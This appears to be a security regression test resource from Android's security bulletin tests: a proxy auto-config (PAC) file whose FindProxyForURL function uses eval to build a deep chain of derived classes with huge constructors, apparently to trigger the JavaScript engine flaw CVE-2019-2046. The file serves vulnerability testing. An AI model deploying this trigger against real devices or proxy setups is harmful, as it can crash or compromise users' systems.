hostsidetests/securitybulletin/res/cve_2019_2046.pac

function FindProxyForURL(url, host){
    const f = eval(`(function f(i) {
        if (i == 0) {
            class Derived extends Object {
                constructor() {
                    super();
                    ${"this.a=1;".repeat(0x3fffe-8)}
                }
            }

            return Derived;
        }

        class DerivedN extends f(i-1) {
            constructor() {
                super();
                ${"this.a=1;".repeat(0x40000-8)}
            }
        }

        return DerivedN;
    })`);

    let a = new (f(0x7ff))();
    a;
    return "DIRECT";
}